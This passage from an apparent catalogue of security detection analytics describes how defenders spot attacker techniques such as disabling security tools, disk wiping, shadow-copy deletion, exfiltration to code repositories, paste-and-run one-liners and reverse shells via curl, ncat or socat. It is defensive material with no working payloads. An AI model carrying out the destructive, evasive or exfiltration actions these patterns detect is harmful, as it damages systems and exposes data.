Detects unexpected use of usermod, gpasswd, or direct modification of /etc/group to elevate user group membership.


[AN0867] Analytic 0867

Current version: 1.0

Description:

Detects use of dseditgroup or dscl to add users to privileged macOS groups (e.g., admin).


[AN0868] Analytic 0868

Current version: 1.0

Description:

Detection of inconsistencies between reported sensor health and actual process/service state. For example, Windows Defender tray icon/UI showing healthy status while corresponding Defender services (WinDefend, MsMpEng) are stopped or disabled. Correlates process creation events with missing or terminated security processes and spoofed health events.


[AN0869] Analytic 0869

Current version: 1.0

Description:

Monitoring for discrepancies between system daemon/service state and reported health messages (e.g., syslog shows AV/IDS daemon stopped, but spoofed messages claim it is still running). Detects userland processes impersonating AV/IDS command-line outputs or modifying log forwarding configurations.


[AN0870] Analytic 0870

Current version: 1.0

Description:

Detection of fake or spoofed macOS Security & Privacy GUIs showing healthy status after XProtect, Gatekeeper, or AV processes are disabled. Correlates user-space UI process creation with terminated or missing security daemons.


[AN0871] Analytic 0871

Current version: 1.0

Description:

Multi-event correlation of Registry creation under Active Setup with anomalous execution of processes at user logon. Behavioral patterns include creation/modification of HKLM Active Setup keys with non-standard StubPath values, followed by process execution from uncommon paths, unsigned binaries, or unusual parent-child lineage post-user login.


[AN0872] Analytic 0872

Current version: 1.0

Description:

Detection of browser-based or email client-driven file creation (often from temp directories) following navigation to or execution of HTML files containing JavaScript Blob APIs or base64 Data URLs, with follow-on execution of the dropped payload. Leveraging Sysmon EventID 15 to inspect Zone.Identifier ADS for HostUrl/ReferrerUrl indicators (e.g., HostUrl=about:internet). Optional: absence of a large HTTP download record for the same URL/client in proxy logs (suggests local assembly)


[AN0873] Analytic 0873

Current version: 1.0

Description:

Detection of browser-based downloads from HTML sources that trigger file creation in temp or user directories followed by execution of new files within short timeframes and suspicious parent-child lineage.


[AN0874] Analytic 0874

Current version: 1.0

Description:

Detection of HTML-based downloads via Safari/Chrome that create obfuscated files (e.g., .zip, .app, .js) in user directories and are followed by suspicious executions from preview or launch services.


[AN0875] Analytic 0875

Current version: 1.0

Description:

Detects suspicious execution of network monitoring tools (e.g., Wireshark, tshark, Microsoft Message Analyzer), driver loading indicative of promiscuous mode, or non-admin user privilege escalation to access NICs for capture.


[AN0876] Analytic 0876

Current version: 1.0

Description:

Correlates interface mode changes to promiscuous with execution of sniffing tools like tcpdump, tshark, or custom pcap libraries. Detects abnormal NIC configurations and unauthorized sniffing from non-root sessions.


[AN0877] Analytic 0877

Current version: 1.0

Description:

Detects enabling of interface sniffing via packet capture tools or AppleScript triggering tcpdump. Leverages Unified Logs and process lineage to identify suspicious use of pfctl, tcpdump, or libpcap libraries.


[AN0878] Analytic 0878

Current version: 1.0

Description:

Detects creation of traffic mirroring sessions (e.g., AWS VPC Traffic Mirroring, Azure vTAP) that redirect traffic from critical assets to other virtual instances, often followed by file creation or session establishment.


[AN0879] Analytic 0879

Current version: 1.0

Description:

Detects execution of capture commands via CLI (monitor capture, debug packet, etc.) or unauthorized CLI access followed by logging configuration changes on Cisco/Juniper/Arista gear.


[AN0880] Analytic 0880

Current version: 1.0

Description:

Adversaries create the 'Office Test\Special\Perf' registry key and specify a malicious DLL path that is auto-loaded when an Office application starts. This DLL is injected into the Office process memory space and can provide persistent execution without requiring macro enablement.


[AN0881] Analytic 0881

Current version: 1.0

Description:

Office application auto-loads a non-standard DLL during startup triggered via Office Test Registry key, often without macro warning banners. DLL persistence mechanism circumvents traditional macro defenses.


[AN0882] Analytic 0882

Current version: 1.0

Description:

Processes attempting raw disk access via \.\PhysicalDrive paths, abnormal file I/O to MBR/boot sectors, or loading of third-party drivers (e.g., RawDisk) that enable disk overwrite. Correlate process creation, privilege usage, and disk modification events within a short time window.


[AN0883] Analytic 0883

Current version: 1.0

Description:

Execution of destructive utilities (dd, shred, wipe) targeting block devices, or processes invoking syscalls to directly overwrite /dev/sd or /dev/nvme partitions. Correlate abnormal file write attempts with shell process execution and block device access.


[AN0884] Analytic 0884

Current version: 1.0

Description:

Abnormal invocation of diskutil or asr with destructive flags (eraseDisk, zeroDisk), or low-level IOKit calls that overwrite raw disk content. Detect correlation between elevated process execution and disk erase operations.


[AN0885] Analytic 0885

Current version: 1.0

Description:

Execution of CLI commands erasing file systems or storage (erase flash:, format disk, erase nvram:). Detect authentication events followed by destructive commands within the same privileged session.


[AN0886] Analytic 0886

Current version: 1.0

Description:

Unusual service stop events, termination of AV/EDR processes, registry modifications disabling security tools, and firewall/defender configuration changes. Correlate process creation with service stop requests and registry edits.


[AN0887] Analytic 0887

Current version: 1.0

Description:

Execution of commands that stop or kill processes associated with logging or security daemons (auditd, syslog, falco). Detect modifications to iptables or disabling SELinux/AppArmor enforcement. Correlate sudo/root context with abrupt service halts.


[AN0888] Analytic 0888

Current version: 1.0

Description:

Execution of commands or APIs that disable Gatekeeper, XProtect, or system integrity protections. Detect configuration changes through unified logs. Monitor termination of system security daemons (e.g., syspolicyd).


[AN0889] Analytic 0889

Current version: 1.0

Description:

Modification of container runtime security profiles (AppArmor, seccomp) or removal of monitoring agents within containers. Detect unauthorized mounting/unmounting of host /proc or /sys to disable logging or auditing.


[AN0890] Analytic 0890

Current version: 1.0

Description:

Unusual ESXi shell commands disabling syslog forwarding or stopping hostd/vpxa daemons. Detect modifications to firewall rules on ESXi host or disabling of lockdown mode.


[AN0891] Analytic 0891

Current version: 1.0

Description:

Cloud control plane actions disabling security services (CloudTrail logging, GuardDuty, Security Hub). Detect IAM role abuse correlating with service disable events.


[AN0892] Analytic 0892

Current version: 1.0

Description:

Changes to security configurations such as disabling MFA requirements, reducing session token lifetimes, or turning off risk-based policies. Correlate admin logins with sudden policy downgrades.


[AN0893] Analytic 0893

Current version: 1.0

Description:

Execution of commands disabling AAA, logging, or security features on routers/switches. Detect privilege escalation followed by config changes that disable defense mechanisms.


[AN0894] Analytic 0894

Current version: 1.0

Description:

Disabling of security macros or safe mode settings within Word/Excel/Outlook. Detect registry edits or configuration file changes that weaken macro enforcement.


[AN0895] Analytic 0895

Current version: 1.0

Description:

Processes such as PowerShell, Git, or curl initiating outbound HTTPS POST requests to known code repository APIs (e.g., github.com, gitlab.com) immediately following large file reads. Defender view: correlation between file access of sensitive directories (e.g., Documents, Finance) and abnormal data uploads to repository domains.


[AN0896] Analytic 0896

Current version: 1.0

Description:

Processes like git, curl, or python scripts executing commands that package files (tar, gzip) followed by HTTPS uploads to code repository endpoints. Defender view: detect unusual git push activity or scripted HTTPS requests outside normal developer work hours.


[AN0897] Analytic 0897

Current version: 1.0

Description:

Office or scripting applications initiating unusual HTTPS traffic to code repository APIs with high outbound-to-inbound ratios. Defender perspective: monitor for sensitive file access in combination with network connections to github.com, gitlab.com, or bitbucket.org.


[AN0898] Analytic 0898

Current version: 1.0

Description:

ESXi host processes (vmx, hostd) initiating HTTPS sessions toward external code repositories. Defender perspective: detect datastore reads followed by outbound web traffic inconsistent with administrative baselines.


[AN0899] Analytic 0899

Current version: 1.0

Description:

Adversaries create user accounts via identity provider APIs or admin portals (e.g., Azure AD, Okta). These accounts may be assigned elevated privileges or used in chained authentication. Detection monitors Add User activity from suspicious IPs or automation sources, followed by role/permission escalation.


[AN0900] Analytic 0900

Current version: 1.0

Description:

Adversaries use cloud API, CLI, or console to create IAM users or roles. Initial CreateUser is followed by policy/role attachment. Detection monitors temporal chains involving IAM:CreateUser, AttachUserPolicy, and credential generation, especially from automation or foreign IP ranges.


[AN0901] Analytic 0901

Current version: 1.0

Description:

Adversaries create SaaS accounts via admin dashboards or integrations (e.g., Zoom, Salesforce, Slack). Monitor lifecycle.create or account provisioning events from non-standard sources or times.


[AN0902] Analytic 0902

Current version: 1.0

Description:

Adversaries leverage M365 or Google Workspace APIs to create users, service accounts, or guest accounts. Follow-on behaviors include login activity, role escalation, or service principal token generation.


[AN0903] Analytic 0903

Current version: 1.0

Description:

Detects usage of commands or binaries (e.g., netstat, PowerShell Get-NetTCPConnection) and WMI or API calls to enumerate local or remote network connections.


[AN0904] Analytic 0904

Current version: 1.0

Description:

Detects use of netstat, ss, lsof, or custom shell scripts to list current network connections. Often paired with privilege escalation or staging.


[AN0905] Analytic 0905

Current version: 1.0

Description:

Detects shell-based enumeration of active connections using netstat, lsof -i, or AppleScript-based system discovery.


[AN0906] Analytic 0906

Current version: 1.0

Description:

Detects shell or API usage of esxcli network ip connection list or netstat to enumerate ESXi host connections.


[AN0907] Analytic 0907

Current version: 1.0

Description:

Detects interactive or automated use of CLI commands like show ip sockets, show tcp brief, or SNMP queries for active sessions on routers/switches.


[AN0908] Analytic 0908

Current version: 1.0

Description:

Detects enumeration of cloud network interfaces, VPCs, subnets, or peer connections using CLI or SDKs (e.g., AWS CLI, Azure CLI, GCloud CLI).


[AN0909] Analytic 0909

Current version: 1.0

Description:

Unusual execution of virtualization binaries (VBoxManage.exe, vmware-vmx.exe, vmwp.exe) with headless or suppressed notification arguments. Registry and service modifications linked to virtualization installs. Defender view: anomalies in process creation, service metadata, and registry writes tied to enabling hidden VMs.


[AN0910] Analytic 0910

Current version: 1.0

Description:

Execution of QEMU, KVM, or VirtualBox processes with unusual flags (e.g., '-nographic', '-snapshot'). File creation of VM images in atypical directories. Defender view: monitoring audit logs for process executions and file modifications linked to hidden virtualization.


[AN0911] Analytic 0911

Current version: 1.0

Description:

Execution of virtualization binaries (Parallels, VMware Fusion, VirtualBox) with arguments to hide UI. File monitoring for plist modifications indicating hidden virtualization behavior. Defender perspective: tracking process lineage and file modifications in system configs.


[AN0912] Analytic 0912

Current version: 1.0

Description:

Direct execution of /bin/vmx or presence of rogue .vmx files not registered in vCenter inventory. Defender perspective: anomalous commands in shell history, edits to rc.local.d/local.sh for persistence.


[AN0913] Analytic 0913

Current version: 1.0

Description:

Detects the presence of executables with high NOP padding, unusually large binary size for their function, and follow-on execution or memory injection from such files, especially when originating from temp or user-space paths.


[AN0914] Analytic 0914

Current version: 1.0

Description:

Detects ELF binaries written to disk that demonstrate anomalous file size or entropy, quickly followed by execution or memory region writes into remote processes (e.g., using ptrace).


[AN0915] Analytic 0915

Current version: 1.0

Description:

Identifies Mach-O binaries dropped into temporary directories with abnormally high binary size or padding patterns, followed by privilege escalation, exec, or memory mapping of other processes.


[AN0916] Analytic 0916

Current version: 1.0

Description:

Detection of anomalous driver and firmware interactions, including unsigned or unexpected firmware updates, driver loads linked to hardware components, and suspicious use of privileged APIs to read/write firmware or controller memory.


[AN0917] Analytic 0917

Current version: 1.0

Description:

Detection of suspicious use of ioctl/sysfs calls to access device firmware, unexpected flashing tools execution, and anomalous firmware checksums logged by SMART or kernel audit mechanisms.


[AN0918] Analytic 0918

Current version: 1.0

Description:

Detection of EFI/firmware manipulation attempts via abnormal driver loads, unsigned kexts, or tampered NVRAM variables associated with component firmware configuration.


[AN0919] Analytic 0919

Current version: 1.0

Description:

Identifies self-modifying executables that exhibit changes in binary hash, entropy, or memory sections during or between executions—often tied to dynamic unpacking or decryption behaviors.


[AN0920] Analytic 0920

Current version: 1.0

Description:

Detects files or processes where execution results in frequent re-creation or modification of ELF binaries or interpreter scripts, often using chmod + execve with abnormal entropy.


[AN0921] Analytic 0921

Current version: 1.0

Description:

Tracks modification of executables or interpreter payloads (e.g., Mach-O, dylib) that mutate across runs—using scripting engines, JIT compilers, or side-loaded plugins.


[AN0922] Analytic 0922

Current version: 1.0

Description:

Unusual process (e.g., rundll32, mshta, wscript, or custom payloads) initiates network connection to external IPs/domains that proxy C2 traffic, often over uncommon ports or high entropy HTTP/S connections.


[AN0923] Analytic 0923

Current version: 1.0

Description:

curl, wget, ncat, socat, or custom binaries initiate outbound traffic to Internet-based proxies (e.g., via VPS or CDN). Behavior may include reverse shell constructs or persistent outbound beacons.


[AN0924] Analytic 0924

Current version: 1.0

Description:

AppleScript or terminal sessions launch tools (curl, nc, ssh) to external IPs not commonly accessed. Outbound connections are made by LaunchAgents/LaunchDaemons, often masquerading as system services.


[AN0925] Analytic 0925

Current version: 1.0

Description:

ESXi shell or guest VM tools initiate external connections via scripted traffic forwarding to Internet-based proxies. Detected by firewall or shell audit logs showing outbound connection spikes from hypervisor or guest VM to remote proxy nodes.


[AN0926] Analytic 0926

Current version: 1.0

Description:

Changes to NAT/firewall policies enabling outbound port forwarding from internal IPs to Internet-based proxy endpoints. Log spikes in outbound flows to CDN, VPS, or anomalous ASNs with few return packets.


[AN0927] Analytic 0927

Current version: 1.0

Description:

A process/script constructs or references a custom/alphabet translation table (e.g., 64/85/32+ arbitrary chars, XOR/base-N loops) or emits long high-entropy strings that do NOT validate as standard Base64/Hex → shortly after, the same process (or its child) generates outbound traffic with asymmetric bytes_out:bytes_in, fixed-size beacons, or protocol/header mismatches (e.g., Content-Type says JSON but body fails JSON parse / contains non-standard alphabet).


[AN0928] Analytic 0928

Current version: 1.0

Description:

Shell scripts or binaries implement custom mapping tables (tr/sed/awk/golang/rust/python encode loops), or emit long high-entropy tokens that fail Base64/Hex validation → correlated with egress showing asymmetric flow, protocol-mismatch payloads, or DNS/HTTP bodies containing low-diversity-but-long custom alphabets.


[AN0929] Analytic 0929

Current version: 1.0

Description:

EndpointSecurity/Unified Logs show processes generating custom alphabets or long high-entropy, non-standard tokens → network logs (PF/Zeek/EDR) show asymmetric beacons, protocol mismatches, or periodic fixed-size posts.


[AN0930] Analytic 0930

Current version: 1.0

Description:

ESXi shell or scripts produce long, high-entropy tokens (non-standard alphabets) in shell.log/hostd, followed by outbound flows (NSX/Zeek) with asymmetric ratios or protocol mismatches to non-management endpoints.


[AN0931] Analytic 0931

Current version: 1.0

Description:

Remote Desktop (RDP) logon by a user followed by unusual process execution, file access, or lateral movement activity within a short timeframe.


[AN0932] Analytic 0932

Current version: 1.0

Description:

Execution of CMSTP.exe with arguments pointing to suspicious or remote INF/SCT/DLL payloads, optionally followed by outbound network connections to untrusted IPs, process injection via COM interfaces (CMSTPLUA, CMLUAUTIL), registry modifications registering malicious profiles, or creation of suspicious INF/DLL/SCT files prior to execution.


[AN0933] Analytic 0933

Current version: 1.0

Description:

Process chains that use native utilities (vssadmin, wbadmin, diskshadow, bcdedit, REAgentC, wmic) with arguments to delete shadow copies, disable recovery, or remove backup catalogs


[AN0934] Analytic 0934

Current version: 1.0

Description:

Shell utilities or scripts deleting /etc/systemd/system/rescue.target, /etc/fstab backups, or /boot/efi partitions; chattr used to block snapshot auto-recovery


[AN0935] Analytic 0935

Current version: 1.0

Description:

ESXi shell or vim-cmd execution that deletes all VM snapshots using vmsvc/snapshot.removeall or rm on snapshot paths


[AN0936] Analytic 0936

Current version: 1.0

Description:

Execution of erase, format, and reload in immediate sequence from a privileged AAA session


[AN0937] Analytic 0937

Current version: 1.0

Description:

Cloud API calls disabling snapshot scheduling, backup policies, versioning, followed by DeleteSnapshot/DeleteVolume operations


[AN0938] Analytic 0938

Current version: 1.0

Description:

Correlation of package install event with execution of postinstall scripts containing unknown binaries or abnormal CLI usage. Look for /usr/sbin/installer execution followed by child processes originating from postinstall script.


[AN0939] Analytic 0939

Current version: 1.0

Description:

Detection of maintainer scripts (e.g., postinst, preinst) being modified or executed during dpkg or rpm operations. Watch for script content that spawns additional processes or writes outside package scope.


[AN0940] Analytic 0940

Current version: 1.0

Description:

Detection of msiexec.exe running installer packages that result in anomalous process creation. Look for unexpected binaries executed by msiexec or custom action DLLs in the temp directory.


[AN0941] Analytic 0941

Current version: 1.0

Description:

Detects the use of message-based injection by monitoring for sequences involving FindWindow (EnumWindows or EnumChildWindows), VirtualAllocEx or related API calls, combined with suspicious PostMessage/SendMessage (e.g., LVM_SETITEMPOSITION) use to SysListView32 controls, followed by LVM_SORTITEMS invocation instead of WriteProcessMemory.


[AN0942] Analytic 0942

Current version: 1.0

Description:

Detects execution of AutoHotKey or AutoIT interpreters or compiled scripts used for unauthorized automation, command execution, or payload delivery, correlated with anomalous process lineage, command-line arguments, or script creation events.


[AN0943] Analytic 0943

Current version: 1.0

Description:

Detects creation of scheduled tasks via at.exe or WMI Win32_ScheduledJob class, followed by execution of anomalous processes by svchost.exe or taskeng.exe.


[AN0944] Analytic 0944

Current version: 1.0

Description:

Detects usage of at command to schedule jobs, followed by job execution and modification of job files under /var/spool/cron/atjobs.


[AN0945] Analytic 0945

Current version: 1.0

Description:

Detects user or root invocation of at command to schedule a job, followed by job execution using LaunchServices and activity in /usr/lib/cron/at.


[AN0946] Analytic 0946

Current version: 1.0

Description:

Implantation of malicious code into container images followed by registry push and use in new deployments.


[AN0947] Analytic 0947

Current version: 1.0

Description:

Creation or modification of cloud virtual machine images (AMIs, custom images) with persistence mechanisms, followed by infrastructure provisioning that uses these implanted images.


[AN0948] Analytic 0948

Current version: 1.0

Description:

Detects anomalous use of macOS XPC services for code execution. Monitors for processes invoking privileged XPC daemons with abnormal parameters, unexpected binaries communicating over NSXPCConnection, or helper tools executing code outside of their expected parent process lineage. Correlates process access attempts to system-level daemons, privilege escalations via XPC misconfigurations, and injection of malicious payloads through inter-process communication.


[AN0949] Analytic 0949

Current version: 1.0

Description:

Monitors for unexpected modifications of system or application binaries, particularly signed executables. Correlates file write events with subsequent unsigned or anomalously signed process execution, and checks for tampered binaries outside normal patch cycles.


[AN0950] Analytic 0950

Current version: 1.0

Description:

Detects modification of system or application binaries by monitoring /usr/bin, /bin, and other privileged directories. Correlates file integrity monitoring (FIM) events with unexpected process executions or service restarts.


[AN0951] Analytic 0951

Current version: 1.0

Description:

Monitors binary modification in /Applications and system library paths. Detects unsigned or improperly signed binaries executed after modification. Tracks Gatekeeper or notarization bypass attempts tied to modified binaries.


[AN0952] Analytic 0952

Current version: 1.0

Description:

Detects unauthorized modification of host binaries, modules, or services within ESXi. Correlates tampered files with subsequent unexpected service behavior or malicious module load attempts.


[AN0953] Analytic 0953

Current version: 1.0

Description:

Defenders can detect suspicious reversion of cloud compute instances by monitoring for unusual snapshot restores, rollback actions, or ephemeral storage resets that occur outside expected administrative workflows. From a defender’s perspective, relevant detection chains include: a snapshot restore triggered by a new or rarely used account, a sequence of snapshot creation immediately followed by a restore and instance start, or rollbacks performed from anomalous geographic or network locations. These patterns may indicate attempts to remove forensic evidence or re-establish a clean execution state for persistence.


[AN0954] Analytic 0954

Current version: 1.0

Description:

Use of stolen Kerberos tickets or token impersonation resulting in logon sessions from accounts without expected interactive logon events.


[AN0955] Analytic 0955

Current version: 1.0

Description:

Access tokens or SSH keys used without corresponding login shell or PAM module activity, particularly for remote execution.


[AN0956] Analytic 0956

Current version: 1.0

Description:

Token replay or impersonation in federated logins without interactive browser session or MFA prompts.


[AN0957] Analytic 0957

Current version: 1.0

Description:

Unusual reuse of OAuth access tokens from different geographic regions, without full login events.


[AN0958] Analytic 0958

Current version: 1.0

Description:

Container process uses mounted cloud credentials or token cache to authenticate without known orchestration.


[AN0959] Analytic 0959

Current version: 1.0

Description:

Access token reuse to connect to SharePoint or Outlook APIs without interactive user context.


[AN0960] Analytic 0960

Current version: 1.0

Description:

Use of instance metadata tokens across instances or misuse of short-lived tokens issued for different roles.


[AN0961] Analytic 0961

Current version: 1.0

Description:

Defenders may observe unauthorized modifications to encryption-related configuration files, firmware, or crypto modules on network devices. Suspicious patterns include changes to cipher suite configurations, unexpected firmware updates affecting crypto libraries, disabling of hardware cryptographic accelerators, or reductions in key length policies. Correlating configuration changes with anomalies in encrypted traffic characteristics (e.g., weaker ciphers or sudden plaintext transmission) strengthens detection.


[AN0962] Analytic 0962

Current version: 1.0

Description:

A user is socially engineered (web page, email, document) to open Run/PowerShell/CMD and paste an obfuscated one-liner. The chain is: (1) user context active in a browser/email/office app → (2) process creation of a command interpreter with suspicious arguments (base64/Invoke-Expression/web download/pipeline to shell) → (3) optional file drop in %TEMP% or %APPDATA% → (4) outbound network connection to an external domain. Events are correlated within a short window and with consistent user/session.


[AN0963] Analytic 0963

Current version: 1.0

Description:

User pastes a multi-line or one-liner into a terminal (bash/zsh) that downloads/decodes and executes content. Chain: terminal exec of curl/wget/bash/sh with pipe to interpreter or base64-decode → transient file under /tmp|~/.cache → immediate outbound egress.


[AN0964] Analytic 0964

Current version: 1.0

Description:

User pastes an obfuscated command into Terminal.app/iTerm2 that decodes or downloads code and executes. Detects Terminal/iTerm2 spawning bash/zsh/python with suspicious pipeline/base64 patterns followed by file writes in ~/Library or /tmp and outbound network connections.


[AN0965] Analytic 0965

Current version: 1.0

Description:

Detection of clipboard access via OS utilities (e.g., clip.exe, Get-Clipboard) by non-interactive or abnormal parent processes, potentially chained with staging or exfiltration commands.


[AN0966] Analytic 0966

Current version: 1.0

Description:

Detection of pbpaste/pbcopy clipboard access by processes without terminal sessions or linked to launch agents, potentially staged for collection.


[AN0967] Analytic 0967

Current version: 1.0

Description:

Detection of xclip or xsel access to clipboard buffers outside of user terminal context, especially when chained to staging (gzip, base64) or network exfiltration (curl, scp).


[AN0968] Analytic 0968

Current version: 1.0

Description:

Execution of hh.exe to open a .chm file followed by suspicious child processes or script engine invocation (VBScript, JScript, mshta, powershell). Behavior includes loading a CHM file from untrusted locations, or immediately spawning commands indicative of payload execution.


[AN0969] Analytic 0969

Current version: 1.0

Description:

High-volume packet generation by local processes (e.g., PowerShell, cmd, curl.exe) or network service processes resulting in excessive outbound traffic over short time window, correlated with abnormal resource usage or degraded host responsiveness.


[AN0970] Analytic 0970

Current version: 1.0

Description:

Kernel or userland processes generating high-rate network traffic (ICMP, UDP, TCP SYN) beyond expected interface throughput or user behavior norms.


[AN0971] Analytic 0971

Current version: 1.0

Description:

Excessive outbound traffic via ping, curl, or custom scripts indicating flooding behavior, especially with no UI context or user interaction.


[AN0972] Analytic 0972

Current version: 1.0

Description:

VM or cloud instance generating anomalously high network egress targeting same destination IP or service, especially using stateless protocols.


[AN0973] Analytic 0973

Current version: 1.0

Description:

Detects abuse of fileless storage mechanisms such as Registry keys, WMI classes, and Event Logs used to stage payloads, scripts, or encoded content outside traditional files.


[AN0974] Analytic 0974

Current version: 1.0

Description:

Detects usage of shared memory directories (/dev/shm, /run/shm) for temporary storage of obfuscated, encoded, or executable data without persistence to disk.


[AN0975] Analytic 0975

Current version: 1.0

Description:

Correlate registry modifications (e.g., UAC bypass registry keys), unusual parent-child process relationships (e.g., control.exe spawning cmd.exe), and unsigned elevated process executions with non-standard tokens or elevation flags.


[AN0976] Analytic 0976

Current version: 1.0

Description:

Monitor audit logs for setuid/setgid bit changes, executions where UID ≠ EUID (indicative of sudo or privilege escalation), and high-integrity binaries launched by unprivileged users.


[AN0977] Analytic 0977

Current version: 1.0

Description:

Detect execution of /usr/libexec/security_authtrampoline or use of AuthorizationExecuteWithPrivileges API, and monitor process lineage for unusual launches of GUI apps with escalated privileges.


[AN0978] Analytic 0978

Current version: 1.0

Description:

Monitor for unexpected privilege elevation operations via SAML assertion manipulation, role injection, or changes to identity mappings that result in access escalation.


[AN0979] Analytic 0979

Current version: 1.0

Description:

Detect sudden privilege escalations such as IAM role changes, user-assigned privilege boundaries, or elevation via assumed roles beyond normal behavior.


[AN0980] Analytic 0980

Current version: 1.0

Description:

Unusual use of screen capture APIs (e.g., CopyFromScreen) or command-line tools to write image files to disk.


[AN0981] Analytic 0981

Current version: 1.0

Description:

Invocation of built-in commands like screencapture or use of undocumented APIs from suspicious parent processes.


[AN0982] Analytic 0982

Current version: 1.0

Description:

Use of tools like xwd or import to generate screenshots, especially under non-GUI parent processes.


[AN0983] Analytic 0983

Current version: 1.0

Description:

Detects processes or binaries executed from trusted directories (e.g., System32) or using trusted names (e.g., svchost.exe) where the metadata, hash, or parent process does not align with legitimate activity patterns.


[AN0984] Analytic 0984

Current version: 1.0

Description:

Detects renamed binaries or scripts placed into trusted paths like /usr/bin or /lib with mismatched metadata or unexpected creation/modification times.


[AN0985] Analytic 0985

Current version: 1.0

Description:

Detects binaries or launch daemons in /System/Library or /Applications with mismatched bundle names, unexpected metadata, or improper installation origin.


[AN0986] Analytic 0986

Current version: 1.0

Description:

Detects malicious containers or pods using names, labels, or namespaces that mimic legitimate workloads; also checks for image layer mismatches and unauthorized resource deployments.


[AN0987] Analytic 0987

Current version: 1.0

Description:

Detects VIBs, scripts, or binaries placed into directories like /bin or /etc/vmware with names mimicking standard ESXi components. Also monitors unauthorized creation of services.


[AN0988] Analytic 0988

Current version: 1.0

Description:

Identifies suspicious outbound traffic volume mismatches from processes that typically do not generate network activity, particularly over C2 protocols like HTTPS, DNS, or custom TCP/UDP ports, following file or data access.


[AN0989] Analytic 0989

Current version: 1.0

Description:

Monitors for processes reading sensitive files then immediately initiating unusual outbound connections or bulk transfer sessions over persistent sockets, particularly with encrypted or binary payloads.


[AN0990] Analytic 0990

Current version: 1.0

Description:

Detects unauthorized applications or scripts accessing sensitive data followed by establishing encrypted outbound communication to rare external destinations or with abnormal byte ratios.


[AN0991] Analytic 0991

Current version: 1.0

Description:

Detects VMs sending outbound traffic through non-standard services or to unknown destinations. Exfiltration over reverse shells tunneled via VMkernel or custom payloads routed via hostd/vpxa.


[AN0992] Analytic 0992

Current version: 1.0

Description:

Detect suspicious file creations and process executions triggered by browser activity (e.g., injected payloads written to %AppData% or Temp directories, then executed). Correlate network anomalies with subsequent local process creation or script execution.


[AN0993] Analytic 0993

Current version: 1.0

Description:

Detect curl/wget commands saving executable/script payloads to /tmp or /var/tmp followed by execution. Monitor packet captures or IDS/IPS alerts for injected responses or mismatched content types.


[AN0994] Analytic 0994

Current version: 1.0

Description:

Monitor unified logs for processes spawned from Safari or other browsers that immediately load scripts or executables. Detect file drops in ~/Library/Caches or ~/Downloads that execute shortly after being written.


[AN0995] Analytic 0995

Current version: 1.0

Description:

Detection of processes launching downgraded PowerShell versions (e.g., v2) or other legacy binaries that lack logging or security features. Correlates command-line arguments, process metadata, and version fields. Monitors registry changes to Defender or HVCI keys that could indicate intentional downgrades.


[AN0996] Analytic 0996

Current version: 1.0

Description:

Monitors execution of older or legacy interpreters (e.g., python2, bash with restricted history logging), downgrade of TLS/SSL configurations, or forced fallback to unencrypted protocols. Detects suspicious reconfiguration of kernel modules or boot loaders to reduce integrity controls.


[AN0997] Analytic 0997

Current version: 1.0

Description:

Detection of execution of legacy scripting runtimes (e.g., older versions of Python, Bash, or PowerShell Core) lacking auditing. Monitoring for changes to EFI or system boot files indicative of downgrade-based persistence or bypass of integrity features.


[AN0998] Analytic 0998

Current version: 1.0

Description:

Linux permission escalation behavioral chain: (1) Process creation of permission modification utilities (chmod, chown, chgrp, setfacl) with suspicious parameters indicating privilege escalation intent, (2) System call analysis revealing direct file metadata manipulation (chmod, fchmod, chown, fchown syscalls), (3) Extended attribute and ACL modifications targeting critical system paths, (4) Temporal correlation with subsequent file access or process execution from modified locations, (5) Anomalous permission patterns deviating from system baselines


[AN0999] Analytic 0999

Current version: 1.0

Description:

macOS permission and attribute manipulation behavioral chain: (1) Process execution of permission utilities (chmod, chown, chgrp) or macOS-specific tools (chflags) with suspicious parameters, (2) System Integrity Protection (SIP) bypass attempts through permission modifications, (3) File flags manipulation (uchg, schg, hidden) for evasion or persistence, (4) Extended attribute (xattr) modifications affecting security metadata, (5) Unified log correlation with file system events and subsequent access patterns, (6) Gatekeeper and code signing bypass through permission/attribute manipulation


[AN1000] Analytic 1000

Current version: 1.0

Description:

Detects unauthorized Kerberos ticket injection by correlating service ticket (TGS - 4769) requests with absent corresponding account logons (4624) and prior Ticket Granting Ticket (TGT - 4768) activity. Highlights anomalous service ticket generation chains involving unexpected users, hosts, or times, and suspicious injection of tickets via mimikatz-like tooling into LSASS memory. Behavior also includes network lateral movement using Kerberos authentication absent expected interactive logon patterns.


[AN1001] Analytic 1001

Current version: 1.0

Description:

Registry modifications to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList setting user visibility to 0, or creation of user accounts not shown on login screen. Defender view: correlation of account creation with registry edits that mark users hidden.


[AN1002] Analytic 1002

Current version: 1.0

Description:

Use of gsettings or direct Display Manager modifications to hide users from greeter login screen. Defender view: anomalous command execution modifying org.gnome.login-screen or other greeter configurations.


[AN1003] Analytic 1003

Current version: 1.0

Description:

User creation or modification via dscl with IsHidden=1, UID<500, or plist edits to com.apple.loginwindow Hide500Users flag. Defender view: correlation of hidden account attributes with login screen exclusion.


[AN1004] Analytic 1004

Current version: 1.0

Description:

Unusual or unauthorized external remote access attempts (e.g., RDP, VPN, Citrix) → repeated failed logins followed by a successful session from uncommon geolocations or outside business hours → subsequent internal lateral movement or data exfiltration activities.


[AN1005] Analytic 1005

Current version: 1.0

Description:

Repeated SSH, VPN, or RDP gateway authentication attempts from external IPs → subsequent successful logon → remote shell or lateral movement activity (e.g., scp/sftp).


[AN1006] Analytic 1006

Current version: 1.0

Description:

Unexpected inbound or outbound VNC/SSH/Screen Sharing connections from external sources → repeated failed logins followed by success → remote interactive sessions or abnormal file transfers.


[AN1007] Analytic 1007

Current version: 1.0

Description:

Connections to exposed container services (e.g., Docker API, Kubernetes API server) from unauthorized external IPs → abnormal container creation/start → lateral activity within cluster nodes.


[AN1008] Analytic 1008

Current version: 1.0

Description:

Detect abnormally high volume of inbound email messages or repetitive attachments being delivered to a single mailbox within a short time window. Defenders should look for anomalous spikes in message counts and repetitive attachment file creation events correlated with targeted users.


[AN1009] Analytic 1009

Current version: 1.0

Description:

Monitor mail server logs (e.g., Postfix, Sendmail) for excessive connections or inbound message counts targeting a single recipient. Correlate with repetitive attachment storage in /var/mail or /var/spool/mail directories.


[AN1010] Analytic 1010

Current version: 1.0

Description:

Detect abnormal use of email clients (e.g., Outlook, Thunderbird) showing mass arrival of messages or repetitive attachments being locally stored. Correlate message volume with file creation activity in mail cache directories.


[AN1011] Analytic 1011

Current version: 1.0

Description:

Monitor unified logs and Mail.app activity for repetitive incoming messages with attachments. Defenders should look for large volumes of incoming mail stored under ~/Library/Mail with unusual timing or repetitive subjects.


